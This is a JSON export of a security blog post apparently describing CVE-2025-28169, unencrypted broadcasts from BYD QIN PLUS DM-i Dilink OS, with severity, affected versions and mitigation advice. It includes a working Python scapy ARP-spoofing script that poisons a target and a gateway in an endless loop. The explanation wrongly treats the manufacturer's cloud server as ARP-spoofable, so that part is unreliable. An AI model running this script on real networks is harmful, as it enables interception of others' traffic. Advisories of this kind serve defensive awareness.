{"id":34109,"date":"2025-05-01T15:34:51","date_gmt":"2025-05-01T15:34:51","guid":{"rendered":""},"modified":"2025-08-31T21:18:37","modified_gmt":"2025-09-01T03:18:37","slug":"cve-2025-28169-unencrypted-broadcasts-lead-to-potential-man-in-the-middle-attacks-on-byd-qin-plus-dm-i-dilink-os","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28169-unencrypted-broadcasts-lead-to-potential-man-in-the-middle-attacks-on-byd-qin-plus-dm-i-dilink-os\/","title":{"rendered":"CVE-2025-28169: Unencrypted Broadcasts Lead to Potential Man-in-the-Middle Attacks on BYD QIN PLUS DM-i Dilink OS<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The CVE-2025-28169 vulnerability affects the Dilink OS v3.0_13.1.7.2204050.1 to v3.0_13.1.7.2312290.1_0 of the BYD QIN PLUS DM-i. It was discovered that the system sends unencrypted broadcasts to the manufacturer’s cloud server. This security flaw exposes the system to potential<\/a> man-in-the-middle attacks. The severity of this vulnerability is significant due to its potential<\/a> to compromise the system and leak sensitive data.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-28169
\nSeverity: High, CVSS Score 8.1
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

BYD QIN PLUS DM-i Dilink OS | v3.0_13.1.7.2204050.1 to v3.0_13.1.7.2312290.1_0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of the unencrypted broadcasts that the Dilink<\/a> OS sends to the manufacturer’s cloud server. By intercepting these broadcasts, an attacker can execute a man-in-the-middle attack. This attack could allow the attacker to eavesdrop on the communication, manipulate the data, or even impersonate the server to gain unauthorized<\/a> access to sensitive information.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of a man-in-the-middle attack using Python:<\/p>\n

import scapy.all as scapy\ndef get_mac(ip):\narp_request = scapy.ARP(pdst=ip)\nbroadcast = scapy.Ether(dst=\"ff:ff:ff:ff:ff:ff\")\narp_request_broadcast = broadcast\/arp_request\nanswered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]\nreturn answered_list[0][1].hwsrc\ndef spoof(target_ip, spoof_ip):\ntarget_mac = get_mac(target_ip)\npacket = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)\nscapy.send(packet, verbose=False)\ntarget_ip = \"10.0.2.7\"\ngateway_ip = \"10.0.2.1\"\nwhile True:\nspoof(target_ip, gateway_ip)\nspoof(gateway_ip, target_ip)<\/code><\/pre>\n
In this example, the attacker spoofs the IP of the manufacturer’s cloud server<\/a> (gateway_ip) and the IP of the Dilink OS (target_ip). The attacker then sends ARP responses to both targets, tricking them into believing that they are communicating with each other, while in reality, all their communication is going through the attacker’s machine.<\/p>\n
Mitigation<\/strong><\/p>\n
The recommended mitigation for this vulnerability is to apply the vendor’s patch. If a patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as temporary mitigation. These systems can help detect and prevent man-in-the-middle attacks by monitoring network<\/a> traffic and identifying suspicious activity.
\nRemember, always stay vigilant and keep your systems updated to protect against the latest vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The CVE-2025-28169 vulnerability affects the Dilink OS v3.0_13.1.7.2204050.1 to v3.0_13.1.7.2312290.1_0 of the BYD QIN PLUS DM-i. It was discovered that the system sends unencrypted broadcasts to the manufacturer’s cloud server. This security flaw exposes the system to potential man-in-the-middle attacks. The severity of this vulnerability is significant due to its potential to compromise the […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-34109","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t